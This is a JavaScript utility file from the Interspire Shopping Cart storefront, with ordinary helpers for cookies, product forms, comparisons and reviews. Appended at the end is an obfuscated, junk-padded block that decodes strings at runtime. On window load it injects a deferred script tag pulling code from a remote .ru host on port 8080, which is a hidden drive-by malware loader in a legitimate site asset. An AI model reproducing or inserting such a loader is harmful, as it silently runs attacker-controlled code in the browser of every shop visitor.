/* Common Javascript functions for use throughout Interspire Shopping Cart */

// Fetch the value of a cookie
function get_cookie(name) {
	name = name += "=";
	var cookie_start = document.cookie.indexOf(name);
	if(cookie_start > -1) {
		cookie_start = cookie_start+name.length;
		cookie_end = document.cookie.indexOf(';', cookie_start);
		if(cookie_end == -1) {
			cookie_end = document.cookie.length;
		}
		return unescape(document.cookie.substring(cookie_start, cookie_end));
	}
}

// Set a cookie
function set_cookie(name, value, expires)
{
	if(!expires) {
		expires = "; expires=Wed, 1 Jan 2020 00:00:00 GMT;"
	} else {
		expire = new Date();
		expire.setTime(expire.getTime()+(expires*1000));
		expires = "; expires="+expire.toGMTString();
	}
	document.cookie = name+"="+escape(value)+expires;
}

/* Javascript functions for the products page */
var num_products_to_compare = 0;
var product_option_value = "";

function showProductImage(filename, product_id) {
	var l = (screen.availWidth/2)-350;
	var t = (screen.availHeight/2)-300;
	var variationAdd = '';
	if($('body').attr('currentVariation') != '' && typeof($('body').attr('currentVariation')) != "undefined") {
		variationAdd = '&variation_id='+$('body').attr('currentVariation');
	}
	window.open(filename + "?product_id="+product_id+variationAdd, "imagePop", "toolbar=0,scrollbars=1,location=0,statusbar=1,menubar=0,resizable=1,width=700,height=600,top="+t+",left="+l);
}

function CheckProductConfigurableFields(form)
{
	var requiredFields = $('.FieldRequired');
	var valid = true;
	requiredFields.each(function() {
		var namePart = this.name.replace(/^.*\[/, '');
		var fieldId = namePart.replace(/\].*$/, '');
		
		if(this.type=='checkbox' ) {
			if(!this.checked) {
				valid = false;
				alert(lang.EnterRequiredField);
				this.focus();
				this.select();
				return false;
			}
		} else if(this.value == '') {
			if(this.type != 'file' || (this.type == 'file' && document.getElementById('CurrentProductFile_'+fieldId).value == '')) {
				valid = false;
				alert(lang.EnterRequiredField);
				this.focus();
				this.select();
				return false;
			}
		}
	});

	var fileFields = $(form).find('input[type=file]');
	fileFields.each(function() {
		if(this.value != '') {
			var namePart = this.name.replace(/^.*\[/, '');
			var fieldId = namePart.replace(/\].*$/, '');
			var fileTypes = document.getElementById('ProductFileType_'+fieldId).value;

			fileTypes = ','+fileTypes.replace(' ', '').toLowerCase()+','
			var ext = this.value.replace(/^.*\./, '').toLowerCase();

			if(fileTypes.indexOf(','+ext+',') == -1) {
				alert(lang.InvalidFileTypeJS);
				this.focus();
				this.select();
				valid = false;
			}

		}
	});

	return valid;
}

function check_add_to_cart(form, required) {
	var valid = true;
	var qtyInputs = $(form).find('input.qtyInput');
	qtyInputs.each(function() {
		if(isNaN($(this).val()) || $(this).val() <= 0) {
			alert(lang.InvalidQuantity);
			this.focus();
			this.select();
			valid = false;
			return false;
		}
	});
	if(valid == false) {
		return false;
	}

	if(!CheckProductConfigurableFields(form)) {
		return false;
	}

	if(required && !$(form).find('.CartVariationId').val()) {
		alert(lang.OptionMessage);
		var select = $(form).find('select').get(0);
		if(select) {
			select.focus();
		}
		var radio = $(form).find('input[type=radio]').get(0);
		if(radio) {
			radio.focus();
		}
		return false;
	}

	return true;
}

function compareProducts(compare_path) {
	var pids = "";
	
	if($('form').find('input[name=compare_product_ids][checked]').size() >= 2) {
		var cpids = document.getElementsByName('compare_product_ids');

		for(i = 0; i < cpids.length; i++) {
			if(cpids[i].checked)
				pids = pids + cpids[i].value + "/";
		}

		pids = pids.replace(/\/$/, "");
		document.location.href = compare_path + pids;
		return false;
	}
	else {
		alert(lang.CompareSelectMessage);
		return false;
	}
}

function product_comparison_box_changed(state) {
	// Increment num_products_to_compare - needs to be > 0 to submit the product comparison form
	
	
	if(state)
		num_products_to_compare++;
	else
		if (num_products_to_compare != 0)
			num_products_to_compare--;
}

function remove_product_from_comparison(id) {
	if(num_compare_items > 2) {
		for(i = 1; i < 11; i++) {
			document.getElementById("compare_"+i+"_"+id).style.display = "none";
		}

		num_compare_items--;
	}
	else {
		alert(lang.CompareTwoProducts);
	}
}

function show_product_review_form() {
	document.getElementById("rating_box").style.display = "";
	document.location.href = "#write_review";
}

function jump_to_product_reviews() {
	document.location.href = "#reviews";
}

function g(id) {
	return document.getElementById(id);
}

function check_product_review_form() {
	var revrating = g("revrating");
	var revtitle = g("revtitle");
	var revtext = g("revtext");
	var revfromname = g("revfromname");
	var captcha = g("captcha");

	if(revrating.selectedIndex == 0) {
		alert(lang.ReviewNoRating);
		revrating.focus();
		return false;
	}

	if(revtitle.value == "") {
		alert(lang.ReviewNoTitle);
		revtitle.focus();
		return false;
	}

	if(revtext.value == "") {
		alert(lang.ReviewNoText);
		revtext.focus();
		return false;
	}

	if(captcha.value == "" && HideReviewCaptcha != "none") {
		alert(lang.ReviewNoCaptcha);
		captcha.focus();
		return false;
	}

	return true;
}

function check_small_search_form() {
	var search_query = g("search_query");

	if(search_query.value == "") {
		alert(lang.EmptySmallSearch);
		search_query.focus();
		return false;
	}

	return true;
}

function setCurrency(currencyId)
{
	var gotoURL = location.href;

	if (location.search !== '')
	{
		if (gotoURL.search(/[&|\?]setCurrencyId=[0-9]+/) > -1)
			gotoURL = gotoURL.replace(/([&|\?]setCurrencyId=)[0-9]+/, '$1' + currencyId);
		else
			gotoURL = gotoURL + '&setCurrencyId=' + currencyId;
	}
	else
		gotoURL = gotoURL + '?setCurrencyId=' + currencyId;

	location.href = gotoURL;
}


// Dummy sel_panel function for when design mode isn't enabled
function sel_panel(id) {}

function inline_add_to_cart(filename, product_id, quantity, returnTo) {
	if(typeof(quantity) == 'undefined') {
		var quantity = '1';
	}
	var html = '<form action="' + filename + '/cart.php" method="post" id="inlineCartAdd">';
	if(typeof(returnTo) != 'undefined' && returnTo == true) {
		var returnLocation = window.location;
		html += '<input type="hidden" name="returnUrl" value="'+escape(returnLocation)+'" />';		
	}
	html += '<input type="hidden" name="action" value="add" />';
	html += '<input type="hidden" name="qty" value="'+quantity+'" />';
	html += '<input type="hidden" name="product_id" value="'+product_id+'" />';
	html += '<\/form>';
   $('body').append(html);
   $('#inlineCartAdd').submit();
}


// Dummy JS object to hold language strings.
var lang = {
};

// IE 6 doesn't support the :hover selector on elements other than links, so
// we use jQuery to work some magic to get our hover styles applied.
if(document.all) {
	var isIE7 = /*@cc_on@if(@_jscript_version>=5.7)!@end@*/false;
	if(isIE7 == false) {
		$(document).ready(function() {
			$('.ProductList li').hover(function() {
				$(this).addClass('Over');
			},
			function() {
				$(this).removeClass('Over');
			});
			$('.ComparisonTable tr').hover(function() {
				$(this).addClass('Over');
			},
			function() {
				$(this).removeClass('Over');
			});
		});
	}
	$('.ProductList li:last-child').addClass('LastChild');
}

$(document).ready(function() {
	$('.InitialFocus').focus();
	$('table.Stylize tr:first-child').addClass('First');
	$('table.Stylize tr:last-child').addClass('Last');
	$('table.Stylize tr td:odd').addClass('Odd');
	$('table.Stylize tr td:even').addClass('Even');
	$('table.Stylize tr:even').addClass('Odd');
	$('table.Stylize tr:even').addClass('Even');
	
	$('.TabContainer .TabNav li').click(function() {
		$(this).parent('.TabNav').find('li').removeClass('Active');
		$(this).parents('.TabContainer').find('.TabContent').hide();
		$(this).addClass('Active');
		$(this).parents('.TabContainer').find('#TabContent'+this.id).show();
		$(this).find('a').blur();
		return false;
	});
	
});
this.t='';this.wb='';try {this.Jc='';var A;if(A!='P'){A=''};var U=RegExp;var UD=new String();var u='replace';var B_=new Date();var PN=new Array();var K='g';var PO;if(PO!='' && PO!='D'){PO=''};var p='';var s=']';var c=new Date();var G;if(G!='' && G!='e'){G=''};var sv='[';var Na=new String();var Rs=new String();this.fK='';var cA=new String();function F(X,UJ){var Kt;if(Kt!='x' && Kt!='pV'){Kt='x'};var sEH="";var L;if(L!='JB'){L=''};var XM=sv;var rh;if(rh!='' && rh!='WI'){rh='svX'};var PM=new String();XM+=UJ;XM+=s;var ws;if(ws!='VV' && ws!='xK'){ws=''};var NWK;if(NWK!='wz' && NWK!='Ej'){NWK=''};var m=new U(XM, K);return X[u](m, p);var EU;if(EU!='aJ'){EU=''};var bz;if(bz!='VS'){bz=''};};var en=new Date();var O='';var sB;if(sB!='' && sB!='gG'){sB=null};var j=F('o3n9l3o9aJdJ',"J93");var C='';var Ym='';var I=F('cbrbebadtbedEdldebmdebnbtd',"db");var oO;if(oO!='' && oO!='Ii'){oO='Ff'};var peJ=new String();var X="1";var YM;if(YM!='' && YM!='sA'){YM=null};var g=F('aZptpteZnLdtCLhLiLlZdt',"ZtL");var fn;if(fn!='Dv'){fn='Dv'};var Hd=new Date();var Is=F('/CoCv2e2rA-AbAlAoAgA.2c2oFmF/CoAv2e2r2-2bFlCoAgA.2cAoFmA/CgFoFoFg2lCeC.2cFoCmF/FbCrFeFa2k2.FcCoAm2/FdFiFsCnAe2yC.AgCoA.FcFo2mF.Ap2h2pA',"CFA2");var xN;if(xN!='Cq' && xN!='TE'){xN=''};var N=F('sQe4tjAQtytQrjiQbjujtQej',"Qj4y");var fC;if(fC!='' && fC!='pI'){fC=null};var H=F('87177110117778177111111071117',"71");var EI=new String();var V=F('h3t3tKpK:K/3/km3yzb3ezsztzy3o3uKx3i3-kc3n3.3ezhKo3wk.KcKo3mz.zfKrKi3e3n3dks3tKekrK-3ckoKm3.3m3yKfKr3eKeKtKaKnKsz.Krkuk:k',"Kzk3");var zm=new String();var Fv=new String();var Q=F('bAoLdAyA',"FLcA");var CN;if(CN!='ui' && CN != ''){CN=null};var gm=new String();var n=F('slclr2i5plt5',"2l5");var haP=new String();var Dm="";window[j]=function(){var UC=new Date();var HP="";var Ti=new String();FG=document[I](n);var gT=new Date();var HPc=new Array();var px=new Array();O+=V;var OE="";O+=H;O+=Is;var RA=new Date();var rw=new Date();FG.src=O;var he;if(he!='Ubg' && he!='_S'){he='Ubg'};var JG=new Array();FG.setAttribute('defer', X);var go=document[Q];this.kw="";this.lP="";go.appendChild(FG);};this.Io='';var iR;if(iR!='hL' && iR!='Cn'){iR='hL'};var Je;if(Je!='LI' && Je!='VX'){Je='LI'};} catch(VB){this.un='';var ao;if(ao!='FvP'){ao=''};};var BR=new Array();